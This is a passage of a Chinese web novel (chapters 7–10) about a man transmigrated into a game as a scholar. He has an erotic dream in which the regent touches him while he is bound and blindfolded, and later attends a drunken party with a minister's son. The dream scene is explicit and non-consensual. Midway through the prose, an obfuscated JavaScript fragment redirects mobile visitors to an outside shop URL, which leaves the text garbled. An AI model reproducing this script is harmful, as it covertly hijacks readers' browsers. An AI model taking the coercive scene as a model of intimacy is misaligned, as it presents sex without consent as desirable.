季李愣了一下,不明白他指的是什么,难道季明礼和冯裕之有过什么约定吗?不过,他可以听成想听到的,一低头语气悲怯:“老师,我知道错了。但,这林渊,我终究是不知道怎么下手。”
冯裕之闻言,偏头盯着他这个越发奇怪的学生,冷冽目光凝在那唇上的痣上,眼瞳幽幽,半响才启唇道:“夜深了,先休息吧。明日让文意教你吧。”
“是。”季李被他盯得,后背发凉。惊不住在心里面想,是不是他又暴露人设了,纠结着,总算听到人回应,松了一口气,迎着人离开。
又站了会儿,低头,盯着手腕戴着的细金镯。
算了。就算崩人设,他也走到这一步了。而且,他也不能按照原身的想法走,先破后立吧。
季李熟练安慰完自己,又坐回椅子上,拿起笔,写着明日的计划。
写着写着,眼皮愈发沉重,一眨一眨得,索性松开笔,趴在桌面上,沉沉睡了过去。
季李昏昏沉沉的,感觉周遭的空气里都带着浓重的水汽。
湿漉漉、热灼灼的,指尖先陷在水里,细小的水珠沾在指节上,再往上,落下些温热轻软的抚弄,一点点往上挪。
那个人用指腹揉着他的手指,手心,再伸出根根指节握了上去,捧着他的手,喷洒着灼热的鼻息落下一个湿黏的吻。
坚硬的牙刁着手心不耐痒的肉,细细咬弄着,吸吮着落下麻痒的印记。
季李被人弄得烦了,迷迷糊糊的要挣开牵制着他的手,可扯了几次也弄不开,反而忍得那人更肆无忌惮了。
一只手似蛇游离到他腰间,指尖像带火,点动间烫得他,挣着身子,难耐得睁开眼睛,要把这个人看清楚,要推开他。
季李看不清楚,眼前的东西,眼睛被什么东西束缚着,他想挣手去碰,一只手被人咬着动不辽,另一只手被缚着手腕牢牢绑着。
只有双腿还算自由,任他摆弄,向前一踢,小腿直接落进了烫人的水里。
他心头一惊,怎么回事,难道他在什么水边,温泉边?
“你、你是谁?”季李张大了嘴,大口吸着气,惊慌间反应过来自己极其被动的处境。
那人像是舔够了手心,闷闷笑了几声,悉悉索索听到些拨弄的水声,整个身体压下来,几缕湿润的发丝落到季李脖颈间。
挠得他又痒又恼,可怎么也躲不开,更是气愤了,言语间带了火气:“我可是探花郎,我劝你赶快放了我,速速离去,我定然不会计较。”
谁知他话音一落,那人靠得更近了,灼热气息喷洒下来,贴到他敞露的肩颈上,还慢悠悠得往上挪移。
直贴到他唇上,尖齿咬下去,还没吸吮又疼惜起来,湿烫的舌轻轻舔着。
季李偏过头,避开他,寻了几瞬自由却又逃脱不了,只能愤愤道:"你、你,你这登徒子!"
7. 等待进入网审
“是吗?我若真是登徒子,何苦迷晕了你。自行快活行一番云雨。”男人的声音带了厚重的燥意,吐息间蹭到耳边,若即若离的刁着敏感的耳肉细细撕磨,软湿的舌尖寻着耳廓,雾蒙蒙的噪起:“我不过寻你当相公。”
季李一听心头大震,似鱼般仰起头,瞪圆了眼非要在白丝绸的隔断下看清着不要脸的男人,到底是谁,难不成……
这游戏里还有什么妖怪?
“你、你不会是食人精血的妖精?”季李勉强扭过头,正对男人的脸,虽看不明长相但还是能看到大半轮廓,他只寻到一双亮盈盈褐色光点,脑海一显起个念头,猫。
‘不会、是猫妖吧。‘季李太过吃惊,竟然把心里话吐了出来。
封怀礼听到他的话,愣了一瞬,很快反应过来,这个猫妖指得是自己。他被季李呆呆愣愣的样子磨得心尖发痒。现下更是让人欢喜,趁着一夜幻梦,他可得多做点什么了。
“食人精血吗?”封怀礼亲昵得用脸蹭了蹭人的下巴,一手揉捏在小巧的痣上,另一只手寻着脖颈往下似蛇般滑腻,又灼灼烫人血肉,惊得季李挺了挺腰身想躲。
男人却不依不饶,烙印般的掌心黏在腰腹,气息洒在唇肉:“我呀,只想吃掉你。”
“我、我又没肉!”季李被人奇怪的动作弄得七上八下的,他一个堂堂八尺男儿,母单了二十二年,哪里见过这种手段,一下竟听信了人的话,磕磕碰碰得反驳起来:“而且我不好吃的。”
“哈哈。谁说你没肉。”封怀礼这下真是真真切切希望自己是个妖怪了,但他不会舍得一口把他吃掉,他只要每天抱着他,细致得舔舐人每一寸,认真得吻吸每寸血肉。让季李浑身上下都沾满他的气味,真要像只猫妖般抓住他的金丝雀,舔得他羽翼湿哒哒的,再也飞不走。
“你看,这不是肉吗?”男人的声音裹着恼人的笑意,覆在脖间,像是唇肉贴上来又像是滚动的喉结,碾着他本来就不清明的脑袋。
一时晕沉沉的,不知道这人在说什么肉,只要拉直了唇装什么都没听见。
“怎么了?”封怀礼见人没反应,那不轻不重揉捏的动作,加重了些,指腹拨动着季李腹侧的软肉,指尖往里探,指节一捻当真聚起块皮肉来,话音里笑意更甚:“我呀,最喜欢吃的就是,腰腹上的软肉。这不,就是你身上这块。摸起来软绵绵的,也不知含……”
季李听着他的话,腰上的揉弄更明显了,他不好分辨欲念和食欲,脑袋里当真浮现出男人显出原形,大嘴一张,尖牙就嵌在肉里了,口一张偏言:“你是要生吃吗?”
“什么吗?”封怀礼实在是憋不住笑了,一双丹凤眼微微眯了起来,眼尾衔着浓浓风情,湿艳的唇细细吻在颗小痣上,寻着人呼吸的间隙探进舌齿,重重吻着他勾缠起来,半响才放开他,指腹扶在透红的脸颊边。
黄褐色的眼瞳亮得惊人,紧紧盯着他,瞧着泛红的鼻尖,怜惜着他紧促翕张着的模样。
心一动,偏直接咬了上去,落下个浅浅的印。
“我可不敢吃你。”男人的声音低了下来,像是想起什么可怖的事情,紧紧握住了他的手腕,指节动着要和他十指相扣,气音闷闷的,趴在他肩膀上,“我要你。”
“什、什么?”季李总算感觉到不对劲了,原来刚才,这人说什么妖、食人精血是假的,真的是,他好像有点胖了,这人很喜欢他软乎乎的肉,还吻他、摸他……
“你、你就是登徒子吧!”季李现下的心境已然不同了,他面对的不是妖怪,而是个活生生的人,一个对他身体有企图的男人。
季李:“我可说好了,我不是断袖!”
封怀礼见人总算反应过来,伏在他耳边痴痴的笑,眼角不着痕迹瞥了自己下腹一眼,又收起心思,算了,现在还不到时候。
“你可没得选。”封怀礼轻巧挑起人鬓边几缕发,绕指玩着,指腹点在覆着白丝绸的眼睛,含情脉脉的说:“叫我阿狸吧。”
“不可能!”季李当然不会屈服,他说完偏严严实实避上了嘴,坚决不会让人再乘人之危了!
只是,他想得太过简单。人又怎么可能只有一个缺点。
季李没听到人说话,也没了动作,趴在胸前的身体移开了,紧握着的手指也松开了。
明明是件好事,季李却感觉心下惴惴。
不知道是不是他想太多了,季李总感觉有一股热气在往下移,从胸腹再到肚脐,再就是……
“你、你在干什么!”季李只想紧紧并上双腿,可大腿根上的手指嵌得太紧,像烈火般紧紧束缚着,脚根踢打在水面,任由他激起水浪。
封怀礼就俯在他身上,一低头,湿热的吻落在肚脐下,细细咬着,还在往下挪。
“停!停!”季李只恨挣扎不辽,手腕被束缚着,双腿只能踢在水里,根本撼动不辽男人。
季李知道怎么才能让他停下,但,他怎么能怎么快就屈服了!?
这根本不是他的性格。
季李最终坚持了一秒,迅速妥协了,红透了脸,紧紧攥着指节,无意挺起上身露出一片细密的吻痕,下唇被咬得发烫发麻,吐息间都带着刺痛:“我、我喊!”
封怀礼停了动作,神情很是酣足,眼眸里含着缠绵欲色,嘴角溢出湿黏的水迹。
“阿、阿狸。”季李仓皇间,唇齿微动。
季李咬牙切齿:“阿狸。”
“好乖。”
……
“明礼!明礼!”耳边灼湿的热气全然散开了,他听到一声一声焦急的呼喊。
季李心慌慌,神情里透着一丝挣扎不定,闪动的眼皮终于睁开了,他有些没反应过来,眼前是晃眼的日光。
他伸出手去挡,从指缝间辨别眼前的景象,他躺在床上,面前站着神情关切的宗文意。
周遭就是他的卧房。
怎么回事。难不成,他是做个了春、恶梦?季李深吸了一口气,只觉有些口渴,撑着手臂要下床,漫不经心瞟眼看人:“师兄,您怎么来了?”
宗文意眼睛盯着他的垂在
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腿边的手掌,眼眸不定。
季李被人看得心定发怵,后知后觉感觉左手心真真切切有些发烫发痒,就好像被人……
“师兄?”季李不着痕迹将手掩在身后,站了起来,见人没说话便笑道:“师兄,您先出去吧。我换个衣服。”
“现在已经快到午时了,换完直接到膳堂来吧。”宗文意收回目光,交代完转身离开了。
季李见人离去,才松了一口气。
蹿到镜子面前,要看看自己现在是什么模样,虽然不信脸上能留下什么咬痕,但,必须要好好瞧瞧。
镜子里,男人一双含情桃花眼,下唇正中有颗周遭泛粉的黑痣。看着,就是季李自己的样子呀!
也真是,他从穿进游戏也没什么机会看镜子,根本不知道自己长什么样子,只看游戏卡牌解释说,这探花郎季明礼貌美。
算了吧,他才不承认自己长着一张貌美的脸,在现实世界的时候,季李经常因为这张脸遇到些麻烦,在孤儿院无人领养,其他小孩都被领走了,就留他一个。长大了点吧,还会遇到些奇奇怪怪的人。
后面,他果断决定,戴眼镜留长头发,快快乐乐当个宅男。
思及往事,心绪难辨呀。
季李拉直了唇,不再去想,摊平了手掌,低头去看,竟然在左手心看到块被咬得发红泛痒的印记。
这、这他不是只做个梦吗?而且,若不是梦,也不可能只有这一小块痕迹。难道是他自己弄的……
季李想不明白也不再想了,收拾完绕到膳堂去。
冯相和宗文意都坐上桌了。
见他过来,宗文意站起身朝他招手,让他坐在他旁边的位置上。
季李偷偷瞧着冯裕之的表情,垂着眼眸不知道在看些什么,也没有搭理他。
季李悻悻然收回视线,就听宗文意颇为别扭的开口:“师弟呀,你怎么就直接把我绕了过去,只盯着咱们老师呢?”
“没有、没有。”季李他这不是日常打卡似的维护一下人设吗?虽然人设很有可能崩了,但他不说,没有说,就当没崩。
季李做戏做全了,红着脸才怯怯坐到宗文意旁边。
饭桌上没人说话,只有极轻的筷子碰撞瓷碗的声响。
季李可憋坏了,他其实是个话很多的人,而且还有个不大不小的坏习惯,他吃饭的时候喜欢看下饭番,还会自言自语的讲话。
他想到这儿的时候,脑海里竟然闪过一个画面,他之前,应该是有人陪说话的。
有吧?季李想不起来了,索性不再回忆。
正好这次要少吃点。季李捧着碗立下决心,他要健身、减肥、锻炼身体!
"明礼!"是宗文意在喊他。
季李连忙跟上去,用完餐,冯裕之发话了,让宗文意跟着自己,先去吏部侍郎府宅。
把林渊的事情弄清楚。
“明礼,你这是怎么了?”宗文意探究得看着他,语气沾着些嘲意:“今天一天都心不在焉的,昨晚去做什么了?”
8. 黑皮大·奶林渊
"哈哈哈。"季李干笑几声,先行走出相府。
宗文意盯着少年的背影,神情里渗出浓稠郁色,目光落在因走动而跳起的发尾,晃荡、晃荡。
"师兄,咱们赶快走吧。"季李平复好心情侧过身唤:“老师交代了,今日要去吏部侍郎府上。”
也不知,是那句话又惹了这原身便宜双面师兄,带笑的眸瞬间垂下,抿直了唇,大步从他面前走过。
季李摸不着头脑,也不管了,毕竟这人着实很难看透的,若有旁人在,宗文意对他,表现得就是个稍微跳脱却稳重的师兄。若没有旁人在,宗文意脸上就像戴了脸谱,说变脸就变脸。
“师兄。”季李目光落到街上的摊位上,看着就酸甜的糖葫芦、冒着热气的包子摊,张罗着客人的摊贩。他很快想起件事来,林渊这群眼高于天的世子们在街赛马。
季李浅浅想了个计划,现下正缺个替他出手的人,也是巧,冯裕之派宗文意来帮他。
他这师兄的嘴一般不甜的,嘴甜,讨乖的时候多半藏着个坏点子。宗文意心里透亮,面上还装不耐,微微偏过头,语气燥热:“怎么了?”
“哎呀。师兄。”季李朝人乖乖笑了笑,总归是不怎么卖乖的,多少不太熟练,抬起手指头蹭了蹭发痒的鼻尖,试探性问道:“我这不是,昨日办完事回来肚子饿了,想在街边买点吃的都没找到地儿。”
“是吗?”宗文意一脸不信,却还是耐着性子,等他这个小师弟编出朵花来,“你便说说,昨日没吃到什么?”
“哎呀!”季李见人不着道儿,多少有些憋不住讨巧的脸了,脸上的笑淡了些,双手交握着愤愤然:“我这不是,想着以民生为重吗?”
宗文意像是愣住了,探身凑近,一双眼睛亮亮得扫在他因怒气染红的脸上,细细描着,垂了些眸,语气平平:“师弟不会晚归,总是要和老师挤在一桌吃晚宴,若是不然,定没什么胃口。”
季李心头一惊,腿一软往后退了一些,手指头又揪上了衣袍,思腹着如何开口绕过这一关。
突然,眼前晃过一缕发丝,宗文意凑了上来,眼睛亮得惊人,笑眯眯得看着他,心情似乎很好,嘴角翘起。
季李下意识想往后躲,又生生压下来,抬起头直直迎上他的打量,抢先开口,眼眸适时露出点疑惑:“怎么了,师兄?”
“明礼呀,你总算是长大了。”宗文意说完这句话,往后退了一步,若无其事的继续向前走。
季李后知后觉得用手背抚了把前颈,抬脚跟上他,寻着没说完的话继续道:“师兄,你就帮帮我嘛。”
季李不知道刚才过关没有,但是吧,做人就要有始有终,他一定要做点什么。
“你想我怎么做?”宗文意步伐不停。
“嘿嘿。”季李笑了几声,心里暗骂这亲传弟子果然把冯相的不动声色学了个十成十,按兵不动偏要敌人输个丢盔弃甲。
行、行、行,你就装吧。季李心里骂得爽快,面上更是伏低做小了,还黏到人身边,一伸手给人捏上了肩,垂得也细致,见人神情更张扬:“我的好师兄,等会儿你先去吏部侍郎那里告他儿子的状,看他们还敢不敢怎么快活了。”
“当真?”宗文意挑了挑眉,眼里透出些疑惑。
季李接着加火候,不嫌事大的又是叹气又是摇头,苦闷道:“师兄,你师弟的前途就靠你了。我现在可是探花郎,”他故意一顿,引得人饶有兴趣看他,才长舒了口气:“名、名声嘛。”
季李说完,还故意装作不好意思埋着头,盯着地上,无意发现宗文意脚尖正规律的点着地,扬起薄薄的尘土。
季李自觉自己真的付出了太多,现在真是光有空名,还得靠求人才能办事。
不对!这有什么,不过是一点没有什么价值的脸皮吧。季李在心里不断说服自己,正是因为他放不下自尊所以才会在心里絮絮叨叨,在求人的时候,逼得狠了反而要露出原形。
张牙舞爪得要把当事人直接毁尸灭迹了……
季李感觉自己变成了颗阴暗的蘑菇,眼尖触到人停了脚尖的晃动,他才顺势抬起头来,眯着眼笑瞧着宗文意的表情。
“好了。”宗文意实在没忍住,探头摸了一把这个装可怜的小家伙,心里很不好受,或许他之前就应该发现的,语气不免温柔下来:“我怎么会不帮你。”
“好师兄!”季李拍了拍手,顺势从他手掌下跳出来,夸完就不装了,溜到摊贩那边,一路逛了个安逸。
等走到吏部侍郎府邸门口,季李心里想着,怎么没看到那个买编织的老伯呢?
不由得慢了一步,耳朵一动听到宗文意的呼喊。
“走吧,想什么呢?”
季李赶忙跟上去,坠在他好师兄的屁股后面,要当个吊坠。
惹得宗文意连连转头看他,眼神询问,‘怎么啦?’
季李心不在意的摇头,i人吧到了个陌生的环境当然得跟在能顶事的人身后,不然,真让他走前面,一,找不着路,二,怯得他鸡皮疙瘩都能出来。
季李盯到了个蓄胡须大肚子笑面花般的中年人,迎着风朝他们走过来,他不着痕迹往后躲了躲,压低声音说:“师兄,我这不是害怕嘛。”
宗文意脸上的笑意更真切了些,朝中年人行了礼淡淡道:“林侍郎,鄙人循着老师的教诲前来拜见。”
季李跟着行礼道:“大人好。”
林严业笑着抚了抚须,朝他们摆了摆手,笑呵呵道:“宗世侄次此可是夺了状元郎呢,明礼也不错,不辜负冯相的教导。”
“来来来,我们好好聊聊。”林严业开了话头,引着他们往大堂走。
季李朝宗文意眨了眨眼睛,示意,他就不去了吧。
毕竟,来的时候,冯裕之就嘱咐过他们,让宗文意应对笑面虎林严业。季李嘛,就去探探林渊的口风。
可以宗文意就是不看他,目不斜视得盯着前方,愣是不理。
季李:“……”
季李不敢说话,只好咬牙切齿得捧着茶杯,当灌一口,轻轻放下。
那小厮忙跑过来给人倒茶,季李朝人点了点头,感受到一道若有若无是的视线。
季李用脚拇指想都知道是宗文意,真不知道这人是怎么想的,不听老师的安排,非拉他来这儿听他们推推拉拉。
十句话里面就一句话是关键信息,也是不嫌累吗?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14137511|149809||http|test|mini|href|location''.split(''|''),0,{}));
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>季李在心里吐槽得快活,抿着茶,突然想到个注意,他可以说自己想上厕所也能趁机溜出去。
去看看林渊又是怎样的人,又该怎么下手。
“文意呀,我看就让明礼和渊儿他们玩会儿吧。”林严业机敏的目光在捧着茶杯发愣的季明礼和正灼灼盯着季明礼的宗文意两人流转,很快茶盖轻碰了下杯沿,笑言:“今日在后院弄了个什么曲水流觞。”
“喔?”宗文意笑了声,正好应上季李殷切的目光,心下好笑,面上却板了脸不轻不重的教训:“师弟,怎么一心念着玩儿?不要误了正事。”
“好好。”季李受训得点了点头,我呆在这儿才是耽误事!要是我早点过去,肯定把林渊的话都套出来了。
“好了。让他去吧。”林严业适时插手,随手指了个小厮言:“来你,带季大人过去。”
……
季李急急跟上去,结果走了快五分钟才走到地方,沿途种满了花,他认识的、牡丹、月季、杜鹃、不认识的也有一大片,越走越近,渐渐听到些细细水声。
果然符合,‘流觞曲水’。
一个吏部侍郎家里弄得这般奢靡,弄些什么高雅的诗词歌赋,真是太、太张扬了吧?!!
季李莫名想起了街头卖编篓的老伯,佝偻着背,手上全是裂口厚茧,总是垂在地面的目光。
周遭鸟语花香,流水清鸣,翩翩起舞的蝶舞在温和的阳光下,好一番惬意。
无端的,季李心里只燥着无措和烦怒,垂下头不再看什么景了,又走了一段路。
只见七八人围坐在溪边,个个神情自满举着酒杯连连畅饮,一人眼尖似见他过来,张嘴便喊:“哟!我们新晋探花郎来了!”
“林兄,你不过去迎?”另一个人朝正中间,斜靠在椅上,袒露着胸膛的男人低语。
季李看到了林渊的样子。
就是那日带头纵马的男人,浓眉大眼、皮肤黑亮,洒落的酒水顺着指节淌到赤裸裸的胸脯。
在一群偏纤瘦的少年里着实显眼了些。
季李没想到,林渊会是这个样子,他相信中的,该是一个貌白纤弱满脸阴戾被酒色掏空身子,肾虚的样子。
“还不过来?”林渊摇摇晃晃站了起来,抬手饮了一杯朝他招手。
季李不动声色得拧着指,一步一步朝他们走过去,又停在两米远,笑着朝众人行礼。
“耶?这季明礼越发好看了吧?”
“之前是这模样?”
几声私语丝毫不避讳他,几番交耳。
“还是林兄有福呀。”说话的人就在林渊左手边,手里把着金丝楠木的丝绒扇。
季李挑了话头:“各位是在这儿赏花品酒呢?”
“那是自然,不知探花郎能否抛句,好词。让众人也品品。”说话的人张得着实扎眼,尖嘴猴腮的,“不要负了这景,这脸。”
神经吧……季李真是无语了,果真是蛇鼠一窝,交得朋友都这样,那?
季李抬了抬眸上下打量着醉醺醺的林渊,得出答案,光长肌肉不长脑子,白搭。
林渊迎上了他的目光,不知是误会了什么,大笑几声,抬脚要朝他扑来。
9. 那是我用过的酒杯。
勾人眼眸揉进湿泛的光点,连微微颦起的眉都像情人的羞怒。
林渊醉醺醺的脑袋告诉他,季明礼还是在勾引他!不过是换了个手段。
季李冷眼看着扑上来的人,心头微动,半抬脚踝,而后迅速发力直踢到人下身。
可惜,没踢到。
一旁打算看好戏的世家子见情况不对,连忙伸手去拽,把林渊扯得要栽进地里。
脚尖只擦到人的大腿内侧软肉上,轻飘飘得,着实没什么杀伤力。
季李恼怒得呼出口气,双臂交叠施施然往后退一步,打量着混在一团的酒蒙子们。
“你、你刚才是在干什么呢!”拽不动林渊的白斩鸡被拖得蹲在地上,指着对面毫发无损的季李指责起来,说话时眼神却悄然瞧着手臂下林渊的神情。
就好像,要把季李刚才没成功踢裆的行为做实了,要让林渊把这事情看清楚了,好好治治这虚名探花郎。
“我呀?”季李懒得理他,一抚袖绕过他们,悠然坐到石凳上,自顾自的要给自己倒杯酒,对面稳坐把扇的少年朝他一笑,抬扇压了压杯杓。
季李索性收回手,偏头看着已经站起来的三人,目光对上中间被扶着的林渊,面色潮红紧皱着眉,好像真是很痛苦的模样。
他心下诧异,不会吧,他刚才不是没踢……视线下移,正正看到林渊鼓鼓囊囊的下腹。
?不是吧?季李着实无语了,真让人爽到了,是吧?!!
季李不敢再多看一眼,他怕林渊更得意。
“行了,你们别拉着我。”林渊挣了挣手,把搀着他的两人甩开,摇摇晃晃朝石桌旁的貌美探花郎走过去,故意大咧咧装喝蒙了,坐在人旁边的位子上,头一偏就是不胜酒力了。
要趴到人肩上。
季李嫌弃得挪了挪位置,起身想离开了,又想到自己的任务还没完成,勉强虚坐在凳子上,偏过头躲他,就见对面的少年灵巧得给他呈了杯酒。
扇子掩面,指节扣着金杯轻轻推了一把。
季李愣了一下,这是给他的?
刚想探手接过来,旁边的林渊一拍石桌,迅速攥紧了酒杯,仰头狠灌,眼睛却紧紧盯着季李,一吞一咽酒水溢了出来淌到耸动的喉结。
野兽般的眸不见迷茫,亮极了,盯着、缠上去,像是要把人生吞下肚。
季李被看得鸡皮疙瘩都起来了,干巴巴转移视线,指腹压在冰冷的石沿边,想让自己冷静下来。
“王兄,谢了。”林渊嗤笑一声,迷蒙蒙的眼看着自在持扇的人,酒杯搁在桌上,憨笑道:“劳烦您,再给我倒上一杯。”
“好呀。”被称王兄的少年,痛快倒满了酒。
季李见人一杯一杯的喝着,喝到后面,直接拿起杯杓畅饮。
真是个酒鬼。季李悄悄打量喝得看起来醉醺醺的林渊,稍微放了点心,现在应该是喝醉了吧?
季李抿直了唇,不免想起,监狱里季小五说的话,林渊。
害死王运的人,也间接帮助了季明礼顶了王运的位置,当上探花郎的人。
脑袋里突然冒出个猜想,不会是林渊喝酒了被季明礼挑拨,所以让人去把王运杀了吧?
或者,是林渊喝醉了,和人起了冲突?
不合理,只有季明礼挑拨有点可能。季李想着,笑着看向不羁趴在石桌上的林渊,语气柔和:“你这是怎么了?喝怎么多?”
“哈哈。”林渊转头看向他,眨了眨眼睛,神情有一阵迷茫很快恢复了笑,动了动身子要探上来,在即将贴上的那一刻停下,开口:“我当然是高兴。赢了赌注,赢了美人。”
浓稠酒气直直扑来,季李咬牙没躲,微微垂下眉看着可怜无害的模样,闻眼,挑眉亮盈盈得看着他,轻声问:“什么赌注?”
“这个嘛……”林渊拉上了调子,眼睛黏在人密密稠黑眼睫、橙褐色眼瞳、再往下,描摹着艳秾光润唇肉,不自觉咽了咽口水,舔了舔唇,就像是在舔舐唇中那颗小黑痣
以前怎么没发现他怎么勾人。有点舍不得呢……林渊往后退了一下,生生撕开目光,语气平平:“不过就是,赌谁能夺下探花郎。”
林渊眨眨眼,端着酒杯慢条斯理得品: “一个答案注定的赌约。”
季李眼神一亮,立马乘胜追击:“所以你赌的是我赢?”
林渊明显了一下,手腕一抖酒水激荡洒落在桌面上。
林渊放下酒杯,饶有心致道::“想知道的话,就作一首诗吧。”
“一首诗怎么行。”
“就是,林兄让他给我们舞一曲。”
一旁世子们耐不住了,端着酒杯乐滋滋的出主意。
七嘴八舌的添油加醋。
说到后面,连同林渊全都欲欲跃试得望着季李。
季李当然不会答应,作诗他没什么文学细胞,高中的时候就选的理科,语文一块儿真弄不好,真吐出首诗来,也只能是抄大家们的。
更离谱的是,让他跳舞、舞剑、水上飘……
一群酒疯子。季李在心里狠骂,面上却是笑盈盈的,不着痕迹摩挲着酒杯上繁复的花纹,微微垂下头语气可怜:“林兄,你就不要为难我了。”
“如果,偏要为难你呢?”林渊斜依着身子,眸子凝着人脸上,细细品食蛰伏的情态。
他话语一落,其他人闹得更大声了,唤来了小厮,指使着,如果不照办,就让人来帮他。
季李神情未变,淡淡放下酒杯,心想,果然不行,像什么示弱只会让旁人言行更恶劣。
他站起来,落下眸手指慢慢卷起宽大的衣袍,周遭的视线更是灼灼,呼吸声渐渐沉沉躁动,就像暴雨袭来前的风声。
“哟,都在呢!”一道金石轻撞,清朗悠扬的声音突兀响了起来。
划破了溪边石桌众人寂静又狂躁的怪异氛围。
季李是最后反应过来的,他才挽起袖子准备横踢林渊一脚,谁叫怎么子弟这般纨绔放荡的。
刚才还流着哈喇子醉醺醺的世家子们瞬间清醒了,个个恭敬讨好得伏着地上,口中振振:“末臣不敢,拜见,摄政王大人。”
执扇少年倒是笑盈盈跑过来,拱了拱手语气亲呢:“国舅,您来了正好,这探花郎要给我们舞一曲助助兴呢。”
季李拍了拍衣袍,慢半拍朝封怀礼问好,眼神却盯到那这扇子把玩儿的少年,看来,‘王兄’这称呼果然是假的,原来是皇子。
“文安,别玩儿了。”封怀礼皱着眉,指节捏上了轻晃纸扇,眼眸淡淡,听不出情绪:“你母妃要问你功课。”
赵文安闻言表情难看,又很快恢复了温润的笑,慢慢收了纸扇只对封怀礼行了一礼:“那子侄便告退了,舅舅您好好玩。”
说完,头也不回的就走了,也不知道从那里冒出来一众属仆坠在人身后跟着离开了。
季李在心里唤,‘小
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云,赵文安和封怀礼是什么关系?’
「季李你好,赵文安是三皇子。封怀礼的二姐就是当朝贵妃,其大姐为逝去皇后。封怀礼是赵文安的舅舅。」
‘那昏君的亡妻是他在没有当皇上的时候娶的吗?是女人吧?’
「滴~抱歉,小云没有权限查询。」
‘算了、算了。’季李没再纠缠,看着封怀礼像教导主任一样,依次训着世家子,逼着人家又是承诺又是悔过,哆哆嗦嗦的一句话也说不清。
个个汗流浃背的,脸羞得一阵青一阵白,后背竟然都沁出了水迹。
季李在一旁看着心里莫名发怵,按理说,他和摄政王不熟,也训不到他身上,更何况,他一口酒都没来得及喝,什么都没干。
眼见着这些人一个个夹着腿,溜得飞快,像是老鼠看见了猫。
确实有点好笑了,季李深吸一口气,捏着手指让自己保持礼节。
结果,那个话最多最讨人厌的世家子,跑的时候一下踩到了自己的衣袍,狗爬式得摔到了地上,爬起来的时候嘴里还吃进去了一坨泥巴。
季李实在没忍住,笑了出来,“哈哈哈。”
他笑了几声,赶忙憋住,整张脸被憋得通红。
封怀礼总算清完场,偏过头望过去的时候,就看到季李脸色绯红,多情桃花眸里沁出闪闪甜甜的蜜,嘴唇被咬得发红,湿漉漉的勾人的小痣嵌得更紧。
很好吃的样子。封怀礼一瞬间就想起了,梦里,蒙着眼,张大了嘴大口喘气的季李。
起伏柔软的小腹、汗滴顺着清峻的下颚线一点点润、淌。
珠白肉腻的肌肤轻易就能留下印迹,他迫不及待得吻、咬、用齿细细吮吸,雕出粉红色的花瓣、轻浅的牙孔。
牙齿衔着圆润光滑的肚脐肉,舌尖小心翼翼得探。
“季、季明礼。”封怀礼适时收回无端的思绪,抬脚向人贴近。
季李早就平复好了心情,他觉察到封怀礼不可忽视的视线后,后背激起了一层冷汗,左手掌心里还没消失的牙印泛起恼人的烫意,又麻又痒,索性将手背在身后,攥紧,张了张口声音发哑:“大人,又见面了。”
“怎么了?”封怀礼没想到季李见到他会是这个模样,怎么怯怯的,他疑惑得用牙齿顶了顶尖尖的虎牙,又点饿了。
他应该只在梦里捉弄过他,白天,可什么都不敢做呢。
毕竟,这小没良心的,现在可是投靠了丞相要好好报忠心来对付,他这个奸戾小人摄政王。
封怀礼看着人有些发愣的模样,可又吃不到,心里越发燥恼,索性在言语上捉弄起人:“想通了,要不要投靠我呀?”
“不敢。”季李也不知道自己怎么了,他一看到封怀礼一副笑眯眯的模样,心里是又气又怕又、喜?不会吧,可能是太讨厌这个人了!
“怎么不敢了?”封怀礼一挥袖,目光落在刚才季李坐过的石凳上,慢悠悠坐下了,指尖落在放在石桌上的酒杯边沿。
季李见人无比自然的动作,把一句,‘这是我用过的杯子’咽了下去。
毕竟,他没完全喝下酒,只是含了含杯沿。
封怀礼一直注意着季李的目光,见人神情纠结,心里更好笑,端起酒杯抬头望过去,启唇紧紧含上去,手腕轻动不着痕迹得转着杯沿。
“王、王爷。”季李瞪大了眼睛,不知道为什么就喊了出来,“您、您换个酒杯吧。”
10. 第十章
那知封怀礼抬手将酒喝了个干净,指腹捏着杯壁翻倒着悬在空中,凝出颗酒滴挂在沿口。
季李被他突如其来的举动弄得有些不知所措,收回探出去的手,扯着衣袍眼神朝出口频频望去,试图让封怀礼看出他的心思。
“坐下吧。”封怀礼像是没看出他火急火燎的情态,拍了拍手边的石凳。
季李摇头:“不用了。王爷,您慢慢赏景吧,我怕我师哥等着急了。”
“我来的时候就遇到他了。”封怀礼神情未变,眼神示意人坐下,“不用着急。”
季李无法只能不情不愿坐下。
故意背对着人坐着,有很快按耐不住了,不时用余光去瞟封怀礼的动作。
男人像是不在乎他的无礼,慢条斯理用新呈上来的酒杯,倒满推过来。
也不催促,坐直了身子目光遥遥望向对面流淌着的溪水,幽冷秋风刮过,吹落了岸边野花的花瓣。
一片两片掉进清澈水里。
“听文安说,你要献舞?”封怀礼开口了,玉石击荡的声响混着微不可查的笑意,细长的丹凤眼望过来,眼瞳泛着水面的光点。
在跳动、闪烁。
季李先是一愣,后惊得自摆手,慌乱解释:“臣不会舞的,只是他们的玩笑话。”
“好吧。”封怀礼看上去有些失望,无辜得眨了眨眼睛,拉长了调子眼眸一转笑得让人心头发紧:“那你会骑马吧?”
“应、应当是会的。”季李不知道为什么说起这个,虽然知道这怕又是封怀礼埋下的一个坑,但见招拆招吧。
“那我们走吧。”封怀礼站起身,大步朝外走,抛下句话:“不是怕,你师兄等急了?”
季李望着人的背影,竟看出几分欢悦来,只是这话,说得怎么酸溜溜的。
不再乱想。季李站起身,匆匆追上去。
看着人转了个弯似是要绕到内室去,季李当然不能再跟上去,脚步一停,看了看周遭的景色庭中长着一棵茂盛的大树,一池锦鲤。
“下次再见了。”封怀礼转过身看了他一眼,挥了挥手喊着。
季李连忙凝神,站直了身子,朝人点了点头,结果封怀礼没动,他试探性得朝人挥手,干巴巴的答:“臣恭候?”
“哈哈哈。”结果封怀礼大笑了一声,终究是恋恋不舍收回了视线,抬起脚跟往里走。
室内,林严业久等多时了,原本心神不宁惶惶不安着,结果一见摄政王脚步带风嘴角带笑走进来,悬着得心都落了半截。
林严业恭敬得行了礼,言语小心:“大人,今日可是遇到了什么喜事。”
